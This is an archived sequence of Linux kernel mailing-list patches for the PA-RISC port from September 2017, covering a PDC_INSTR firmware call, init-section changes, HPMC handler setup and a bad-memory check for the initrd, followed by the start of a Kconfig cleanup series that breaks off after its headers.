	for glpp-linux-parisc@m.gmane.org; Sun, 17 Sep 2017 21:15:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751334AbdIQTPT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 17 Sep 2017 15:15:19 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:62426 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751239AbdIQTPS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 17 Sep 2017 15:15:18 -0400
Original-Received: from p100.box ([193.159.28.181]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LmJsk-1dJmFZ2SCw-00a0TS; Sun, 17
 Sep 2017 21:15:11 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:SDoba9umIWFaCmVlzILF0LsufHcd/CPJ6VEgeeJj98EhpJp/UHq
 BJ+oHufJ2wj09Ki0hQ9mw+oXl7q0YE+VVoKdWRV+vFFTXtc85fhO1m9/Ih/DH27DHWCZF+J
 eHyHGlZpwkKO8aakEpmWWOHnKvyI9MDanLWCYMfQIGkt1AIJocugIdc8c6EagPpzAw8u5Kb
 vcVipQhNovbguemKIRpqQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+QEzATvVZV4=:mw8is5GUQlo5YYJmOMvGzl
 nqlSDUHEAXGqaZ+rRhiJnodJ7jnaENVGl8+kT+K8p0xymdT6R/kitUeFlwlVQQ6sEGR26frL/
 RVFcVeGCa1mHlL+u9tS98C2xaqPRk/vbHhhA856zjvchO85cirRSDA8+j53+uA1CvpAvc54pe
 1cVzmURb7ZxvmSw1QaWox+kLpDuJFivI0k6tFD2SRf/uCjML4snX6velRVkmJ9XiK7G+07i1L
 /65YhngcP57k6cpYZBCUE+PhiN0T065deHaXHO09QSlaDGb6caaWQrwdaYGVO2QAM4q4bbMsL
 LGTFcVbE2nOhv/Xd8gGCSrFYUCM+rXghAVRUfypQo8VvVSC1DrCkv3Yvhn7TZ/Fl+PvIArow3
 dwGS7qIPAkDWERCY7y882SG2W8BV1a29OAuLHhyzLr6v9SAywqMlmhwTKMeS4uWSEHBJ4lZ6W
 bZZXoqQbTdlwHfGEfFkMCyjMT1vYFHIzlSZheprCCtXbph5sEXLFapf8yHdWlW281Uopgql0s
 VpKA95aQ/5O7jDkb+LdWrX+LDp0Uz7dCdPHt64O9zefHYTsDdvuEvSw/Yuf81iP2qHqDQg5zb
 ydRzZN8sJQzf/OrdACuag+8HkfzvQmsg2ebhu/S//vcTAaB3j+yj0OIVCRdSmlWaRYs0xscqd
 XqYzig+2w8FBxqW5DYJZ1lZs9fLUyPtUFOUS9YrWejuQQMgCcUwwHyghpa898mLg3SWQugZD8
 9GCd9OnvC/IUGROgo76i/Cuv1E6nLEfwtVhyyHQGNGF0q7ojwhWYxnpDJ1mNPKG4YPvT4R4V 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27814>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 26b4455..510341f 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -280,6 +280,7 @@ void setup_pdc(void);		/* in inventory.c */
 /* wrapper-functions from pdc.c */
 
 int pdc_add_valid(unsigned long address);
+int pdc_instr(unsigned int *instr);
 int pdc_chassis_info(struct pdc_chassis_info *chassis_info, void *led_info, unsigned long len);
 int pdc_chassis_disp(unsigned long disp);
 int pdc_chassis_warn(unsigned long *warn);
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index ab80e5c..6d471c0 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -233,6 +233,26 @@ int pdc_add_valid(unsigned long address)
 EXPORT_SYMBOL(pdc_add_valid);
 
 /**
+ * pdc_instr - Get instruction that invokes PDCE_CHECK in HPMC handler.
+ * @instr: Pointer to variable which will get instruction opcode.
+ *
+ * The return value is PDC_OK (0) in case call succeeded.
+ */
+int __init pdc_instr(unsigned int *instr)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_INSTR, 0UL, __pa(pdc_result));
+	convert_to_wide(pdc_result);
+	*instr = pdc_result[0];
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
+/**
  * pdc_chassis_info - Return chassis information.
  * @result: The return buffer.
  * @chassis_info: The memory buffer address.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Move start_parisc() into init section
Date: Sun, 17 Sep 2017 21:17:10 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20170917191710.GA8565@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505675839 17436 195.159.176.226 (17 Sep 2017 19:17:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 17 Sep 2017 19:17:19 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 17 21:17:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dtf43-0000Qm-NS
	for glpp-linux-parisc@m.gmane.org; Sun, 17 Sep 2017 21:17:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751410AbdIQTRT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 17 Sep 2017 15:17:19 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55071 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751370AbdIQTRS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 17 Sep 2017 15:17:18 -0400
Original-Received: from p100.box ([193.159.28.181]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MWSwU-1dvHd40tuE-00Xaoc; Sun, 17
 Sep 2017 21:17:12 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:wF4OB+z8nm3opRcOQ6dxUim7B60Ud893K6k2gcwvUu8wm0aq4XH
 GJb/bHqYXVTgYLfWkMEjSaHTFgmKs4nSgFfktjJfQmQs7maYXyMUiEGbf3o9GA2sXZfSm1d
 ikCd4qa82LVD+RcHApEfcuQM4VhwTncGagPkIsmctYinaQMLie9CFVRk7nrMqU3Z2zDWGUF
 ex25CDcWBRtwIao9hhK5Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:tyMzowL8iJc=:jmQs1cgGmOK+Pe7CqkzHhW
 0335uX1biVKkrT/T9Aogp/Uv52Ed9bYRzYM9dBdA2TzWre63DkQjxp46DG2DwfPpe2VIBJftE
 g94P/2AwTG1t4OGXsd1o0LdfUY9ktQtETuTeEikptAFu4K1nFmdpBUlCwy0s1KAEwt0uy3HEw
 WRJxAORcU8i0pYdcIrAa9CP1GPOmRBUVrnxJqmaOvf1etUxdul+N5OfJaFclY3I/qXPXm72ob
 JPd3VgWBBOeLlPjKD2DyylCTCEMbnO9nUmqziBhPJNI0FiHDUE/DX+IUDbZZ6QRA/eQqBODo5
 8dAZ3N/J0zElW84TVToj9hCUbWXvB9lCwoi6sBw+QLEDFvGTKtSNpxKa/uGwlyh+bB/koFb/o
 LccWUR7usK/6747ObZTatSpCWaeFqIBNu0UqUh+Axpiszde+rLwQ4MoisWKu1opMEO+9AH8pw
 PG+Gq755vBJmu6CHG7xA2NwzcnJREJwNWu9fwPmWWNR75jReUZWV7/WARW4HkJUzWl+y+0qmU
 99VsQgxuXCpcZyb15EZu2wmM7++VgEGt63FmrLNeqCQPCdnPC08g+aUqUkScP8UbZGlaL7Y/i
 xShTYLqyWyQb3OmnzykEy4B7QplmOrW6d1pVIU5/5XiXXUGN6kh7SoGElFS8Mtmr6bV6zzWCd
 4rHRKJIWbkh6tiDdueVAvWp+4+S0V4Cf1Uuzb10RFs0XrqLJbqlgv1EvFKiOsXJTRCJnZk64o
 JkewvaUTxQM//Ud1+ScIzSx0wtftfMnxcuAH4dbnH6vCXmiGJPpT7Nmed/T8+k8VHfbCNoky 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27815>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index dee6f9d..a31e91c 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -38,6 +38,7 @@
 #include <linux/export.h>
 #include <linux/sched.h>
 #include <linux/sched/clock.h>
+#include <linux/start_kernel.h>
 
 #include <asm/processor.h>
 #include <asm/sections.h>
@@ -398,9 +399,8 @@ static int __init parisc_init(void)
 }
 arch_initcall(parisc_init);
 
-void start_parisc(void)
+void __init start_parisc(void)
 {
-	extern void start_kernel(void);
 	extern void early_trap_init(void);
 
 	int ret, cpunum;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add PDCE_CHECK instruction to HPMC handler
Date: Sun, 17 Sep 2017 21:28:11 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20170917192811.GA8688@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505676505 9479 195.159.176.226 (17 Sep 2017 19:28:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 17 Sep 2017 19:28:25 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 17 21:28:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dtfEp-0002Fm-6P
	for glpp-linux-parisc@m.gmane.org; Sun, 17 Sep 2017 21:28:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751270AbdIQT2X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 17 Sep 2017 15:28:23 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49760 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751254AbdIQT2W (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 17 Sep 2017 15:28:22 -0400
Original-Received: from p100.box ([193.159.28.181]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M3R1g-1dbrGp1ZHU-00qyyk; Sun, 17
 Sep 2017 21:28:15 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:6apzbUoYZnzalfXKiB/xUH9HgDk1e9wIVDMS4q8fAdtm0NwyAPG
 EQpr/im4HiLXU13QJ1d0ztAkqVKmRWPIa2C3oUVt5B3kiWKYWrRl7hlIVCDjiflKdZqskJe
 QUgCl3bGT68U36mIHMljeoZ2xoCioonzI8JhnC4KlIMWtEFjzimuuFE/ZIdsBHFLDDmVTpj
 bOPSkAiCOHqnf8C5XAvug==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Vnp6plGmDhw=:6v1nFona9pbusrj6SyLd/D
 p4pOLx5j3cnC2rs0Cc8NmrfOOtmbpROzqcKi/gJd61X36dxPZcV8KcncSXTl+39dKDWAJkbyM
 Ae46TleivpFIPKXCbs0DUu05I5ZvJe8wCtJKQJUfJZ+O+Tg96wVyW2n/YoecqAxNfc1MoTSo5
 gwe4Wt4Z9FcqBTcpxQ+Zz888N/Bo9zsJlaSkDVBi8JlKz4gyfsmopUhw1BVki4BWUkqVws4en
 5ZaD3gufW066dGbPoEOih4Ad7iwxmRp2+sl8Y2Cjo6aHUc4Q26fQjaEbenwCHXO3GkjxiFZHy
 rlP2VozblMvrqTkQtfAFuBryMZ6uoysIt1sadIumcOa+XvrxSLIDd1rn1/Iy7aPcXGnCcp5xL
 0QyRxGLBOyw1QikNjaxZK+GETMBULCnGZnl9WK0G/3nBw97YelLfraWPyLmwiVx61RqEMWz7S
 JkRWVvBi/HKcXH9AvssDVElY3T8jwcNhiw97KkyE7dvvWZkfQGMsh9HCkgLxSUlRhJtY+jODp
 p1G8kJMFKd8BIEf8YuBKw0DU0wk75k22VMzNBYPCh9/bTh8DeOvig/9U5Ig/vtn0dRx3ZlBIX
 hqv0MArHSjw4I1VMtWR/cUtNQ03syZVGdX0hqLQP7SLhPBf1t/E1/hY6qJeFWVuE7oHOSSKNN
 p6Ul1rbg8iNDofrp4dLzIAdEwbZbYjw01ZicB4yVxl8+SYDf6bjAzWfmh29NyO6vN1jYbFcLO
 ge9DF84ew+fIuMDMyCSJtKM247a7MCs3cpzaOPfBOb/pp/rYkcqOnN0xxT82XpH+NeaBL5LL 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27816>

According to the programming note at page 1-31 of the PA 1.1 Firmware
Architecture document, one should use the PDC_INSTR firmware function to
get the instruction that invokes a PDCE_CHECK in the HPMC handler.  This
patch follows this note and sets the instruction which has been a nop up
until now.
Testing on a C3000 and C8000 showed that this firmware call isn't
implemented on those machines, so maybe it's only needed on older ones.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 991654c..23033315 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -817,7 +817,7 @@ void __init initialize_ivt(const void *iva)
 	u32 check = 0;
 	u32 *ivap;
 	u32 *hpmcp;
-	u32 length;
+	u32 length, instr;
 
 	if (strcmp((const char *)iva, "cows can fly"))
 		panic("IVT invalid");
@@ -827,6 +827,14 @@ void __init initialize_ivt(const void *iva)
 	for (i = 0; i < 8; i++)
 	    *ivap++ = 0;
 
+	/*
+	 * Use PDC_INSTR firmware function to get instruction that invokes
+	 * PDCE_CHECK in HPMC handler.  See programming note at page 1-31 of
+	 * the PA 1.1 Firmware Architecture document.
+	 */
+	if (pdc_instr(&instr) == PDC_OK)
+		ivap[0] = instr;
+
 	/* Compute Checksum for HPMC handler */
 	length = os_hpmc_size;
 	ivap[7] = length;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Check for broken memory in initrd
Date: Mon, 18 Sep 2017 17:55:24 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20170918155524.GA24676@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505750138 15913 195.159.176.226 (18 Sep 2017 15:55:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Sep 2017 15:55:38 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 18 17:55:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dtyOM-0007Aa-ML
	for glpp-linux-parisc@m.gmane.org; Mon, 18 Sep 2017 17:55:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754465AbdIRPze (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 18 Sep 2017 11:55:34 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53102 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754198AbdIRPzd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 18 Sep 2017 11:55:33 -0400
Original-Received: from p100.box ([193.159.30.106]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MIuft-1drUU32b29-002bXl; Mon, 18
 Sep 2017 17:55:26 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:BOIuBbmd/INPYFH/xEacPN6u9U4Unh9YaaItWpanJmfSLTi933c
 +Z+hiWWQ+/K584HYSxlETGSEwFLeNXH96PqYhY1zBgErTkZanEtTEgsGiVnIM9WV+X8VP1I
 oZLfUUEcJ8zmGemORRxaF0D9BcKZKtawxHqHQbvSpPvqwoNwnI2cUxrEfqjmeyUh7taq0zn
 kU9QGNcNQmvSAunpEGmCg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TX447iobCUM=:kJZnIFQiV/9pPBkSi/FS0O
 PckZQPCso04NCxQZuyVP2YXVVAvQvzmpE+pIAY28cW7P8leD3rv/3rKIoTUAT6P2jltBCEf9s
 XEj0UPne9igICZxevDwLuqYMMHfvxcnv+dLI+y9/C9bZDUcIPwFy9nrVGk6DnmGu0Tou0F78U
 csSnObE/YLohunZ5uCKmch1oq5k2l0Qsa5CeabhYuC6/Vlr1LcR+DkIH1KztqWIqvrvBXKbu8
 wMO/YR1keRvjvmdh4GkjIjVhKPwRuGXPwfs6cGeavYhfeVg9EDN1m1J4UorHmefHOaxNHdbn9
 ygn/L+NNM1sSWMtYY2yYERhJuWOZFwT4EUKFctdHDS9F6aaief3QLFCA2AXCCC7+zzt6oGemo
 1c5lsjax02YlwWHtiEgYu8Pcf2vkPH/JtUV/kuv2J9ej4f0JgAwp56PFLEl1V3cvSmrPBLycs
 cR3gBJdbTG9Ul31GRHCUlGSF8zXeW7pukAA5v8povms45IMuOgAidGqQoTkCr5uf04wsQ1bHc
 +G1enltzBx17GWwl9Eq9ZqztaKPXeFzB5KNf3QmUfP1n1E9pbkewQ4jIX5nccK80RJigd2hV6
 5bO3lDaK1cdGmsDOMwWndTywitoZ3bF4d5WUeOgENuPWorDg76edic/5/i6aagxwGq2I2NWne
 DZoqMyr51qgyxpO9/QpymE4yyc3KjpYZUmfLqzMws7lFlfe/sY+B8izDqdn/c2xNBTXUO/YVu
 yRt97L3Fw+RAMzV0NapMfn6B4b/XfSCIgTy9eF4GjRBjhvdECXyYuAW9LEF5O9G4yi4Dccj+ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27817>

While scanning the PDT for reported broken memory modules, check if the
initrd may have been loaded in such broken regions.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
index 05730a8..00aed08 100644
--- a/arch/parisc/kernel/pdt.c
+++ b/arch/parisc/kernel/pdt.c
@@ -15,6 +15,7 @@
 #include <linux/memblock.h>
 #include <linux/seq_file.h>
 #include <linux/kthread.h>
+#include <linux/initrd.h>
 
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
@@ -216,8 +217,16 @@ void __init pdc_pdt_init(void)
 	}
 
 	for (i = 0; i < pdt_status.pdt_entries; i++) {
+		unsigned long addr;
+
 		report_mem_err(pdt_entry[i]);
 
+		addr = pdt_entry[i] & PDT_ADDR_PHYS_MASK;
+		if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) &&
+			addr >= initrd_start && addr < initrd_end)
+			pr_crit("CRITICAL: initrd possibly broken "
+				"due to bad memory!\n");
+
 		/* mark memory page bad */
 		memblock_reserve(pdt_entry[i] & PAGE_MASK, PAGE_SIZE);
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.parisc
Subject: [PATCH 0/2] Fix duplicates and change default endian for microblaze
Date: Mon, 18 Sep 2017 10:53:27 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505753638 29549 195.159.176.226 (18 Sep 2017 16:53:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Sep 2017 16:53:58 +0000 (UTC)
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org, babu.moger@oracle.com
To: monstr@monstr.eu, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 18 18:53:52 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dtzIr-0007Nq-CG
	for glk-linux-kernel-3@m.gmane.org; Mon, 18 Sep 2017 18:53:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933007AbdIRQxz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 18 Sep 2017 12:53:55 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:16552 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932395AbdIRQxw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 18 Sep 2017 12:53:52 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v8IGrcW4001466
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 16:53:38 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v8IGraSr029050
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 16:53:37 GMT
Original-Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v8IGrZ26013731;
        Mon, 18 Sep 2017 16:53:35 GMT
Original-Received: from brm-t84-02.us.oracle.com (/10.80.150.81)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 18 Sep 2017 09:53:34 -0700
X-Mailer: git-send-email 1.7.1
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2572451 gmane.linux.ports.sparc:26528 gmane.linux.ports.parisc:27818
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2572451>

This series fixes few Kconfig issues.

Babu Moger (2):
  arch: Fix duplicates in Kconfig for parisc and sparc
  arch: change default endian for microblaze

 arch/microblaze/Kconfig |    2 +-
 arch/parisc/Kconfig     |    3 ---
 arch/sparc/Kconfig      |    3 ---
 3 files changed, 1 insertions(+), 7 deletions(-)



From - Thu Nov 08 21:40:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.sparc,gmane.linux.ports.parisc
Subject: [PATCH 1/2] arch: Fix duplicates in Kconfig for parisc and sparc
Date: Mon, 18 Sep 2017 10:53:28 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <1505753609-602923-2-git-send-email-babu.moger@oracle.com>
References: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505753651 31890 195.159.176.226 (18 Sep 2017 16:54:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 18 Sep 2017 16:54:11 +0000 (UTC)
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org, babu.moger@oracle.com
To: monstr@monstr.eu, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 18 18:54:03 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dtzJ3-0007pB-B8
	for glk-linux-kernel-3@m.gmane.org; Mon, 18 Sep 2017 18:54:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932991AbdIRQxx (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 18 Sep 2017 12:53:53 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:16550 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932254AbdIRQxw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 18 Sep 2017 12:53:52 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v8IGrbNE001430
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 16:53:38 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v8IGra8S030534
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 18 Sep 2017 16:53:37 GMT
Original-Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v8IGrZlM006752;
        Mon, 18 Sep 2017 16:53:35 GMT
Original-Received: from brm-t84-02.us.oracle.com (/10.80.150.81)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 18 Sep 2017 09:53:35 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
